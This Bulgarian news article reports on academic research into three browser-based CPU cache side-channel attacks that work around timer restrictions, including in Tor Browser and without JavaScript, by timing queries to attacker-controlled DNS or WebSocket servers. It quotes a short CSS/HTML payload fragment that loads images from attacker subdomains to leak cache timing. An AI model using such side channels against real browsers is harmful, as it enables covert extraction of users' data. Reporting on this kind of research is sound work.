Атака за извличане на данни от CPU кеша, реализирана в уеб браузъра без JavaScript

Група изследователи от няколко американски, израелски и австралийски университета разработила три работещи в браузерни атаки за извличане на информация за съдържанието на кеша на процесора. Един метод работи в браузери без JavaScript, а другите два заобикалят съществуващите мерки за защита срещу атаки по странични канали, включително използвани в Tor browser и DeterFox. Кодът за демонстрация на атаките, както и необходимите за тях сървърни компоненти, са публикувани на GitHub.

За анализа на съдържанието на кеша в всички атаки се използва методът Prime+Probe, който включва запълване на кеша с еталонен набор от стойности и определяне на промените чрез измерване на времето за достъп до тях при повторно запълване. За да се заобиколят механизмите за защита в браузерите, които пречат на точното измерване на времето, в два случая се извършва обращение до контролирани от атакуващия DNS или WebSocket сървъри, на които се води лог на времето за получаване на заявки. В единия случай фиксираното време за DNS отговор служи като еталон за време.

Измерванията, извършени с участието на външни DNS или WebSocket сървъри, благодарение на приложението на система за класификация, основана на машинно обучение, оказаха достатъчни за предсказване на стойности с точност до 98% в най-оптималния сценарий (в средата 80-90%). Методите на атаките са тествани на различни хардуерни платформи (Intel, AMD Ryzen, Apple M1, Samsung Exynos) и показаха, че са универсални.

Атака за извличане на данни от CPU кеша, реализирана в уеб браузъра без JavaScript

В първия вариант на атаката „DNS Racing“ се използва класическата реализация на метода Prime+Probe, който използва масиви от JavaScript. Разлики съществуват в прилагането на външен таймер, базиран на DNS, и обработчик onerror, който се задейства при опит за зареждане на изображение от не съществуващ домейн. Външният таймер позволява извършването на атаката Prime+Probe в браузери, които ограничават или напълно изключват достъпа до JavaScript таймери.

За DNS сървър, разположен в същата Ethernet мрежа, точността на таймера се оценява на около 2 ms, което е достатъчно за извършване на атака през странични канали (за сравнение, точността на стандартния JavaScript таймер в Tor Browser е намалена до 100 ms). За атаката контролът върху DNS сървъра не е необходим, тъй като времето за изпълнение на операцията се настройва така, че времето за отговор от DNS да служи като индикатор за по-ранно завършване на проверката (в зависимост от това кога се изпълнява обработчикът onerror, се прави извод за скоростта на изпълнение на проверочната операция с кеша).

Вторият метод на атака „String and Sock” е насочен към заобикаляне на защитни методи, които ограничават нискоуровневото използване на масиви в JavaScript. Вместо масиви в „String and Sock” се използват операции с много големи низове, размерът на които е избран така, че променливата да обхваща целия кеш LLC (Last level cache). След това чрез функцията indexOf() в низa се търси малък подниз, който първоначално липсва в изходния низ, т.е. операцията на търсене води до преглед на целия низ. Тъй като размерът на низа съответства на размера на LLC кеша, сканирането позволява извършване на операция за проверка на кеша без манипулация с масиви. За измерване на забавянията вместо DNS се използва достъп до контролирания от атакуващия WebSocket сървър — преди и след завършване на операцията по търсене в низа се изпращат заявки, на базата на които сървър се изчислява забавянето, използвано за анализ на съдържанието на кеша.

Третият вариант на атаката «CSS PP0» се реализира чрез HTML и CSS и може да работи в браузери без активиран JavaScript. Методът наподобява «String and Sock», но не е зависим от JavaScript. При атаката се формира набор от CSS селектори, които извършват търсене по маска. Изходната дълга строка, попълваща кеша, се задава чрез създаването на div таг с много дълго име на клас. Вътре се разполагат набор от други div тагове със свои идентификатори. За всеки от тези вложени div тагове се определя собствен стил с селектор, който осъществява търсенето на подстринг. При рендирането на страницата браузерът първоначално се опитва да обработи вътрешните div тагове, което води до извършване на операция по търсене в дългата строка. Търсенето се извършва по явно отсъстваща маска и води до обхождане на цялата строка, след което се задейства условието «not» и се опитва да се зареди фоновото изображение, което се позовава на случайни домейни: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Поддомените се хостват на DNS сървъра на атакуващия, който може да измерва забавянията при получаване на заявки. На всички DNS заявки сървърът издава NXDOMAIN и води лог на точното време на запитванията. В резултат на обработката на набора от div тагове на DNS сървъра на атакуващия постъпва серия от заявки, забавянията между които корелират с резултата от проверката на съдържанието на кеша.

Атака за извличане на данни от CPU кеша, реализирана в уеб браузъра без JavaScript


Източник: opennet.ru
Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри 🔥 Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри | ProHoster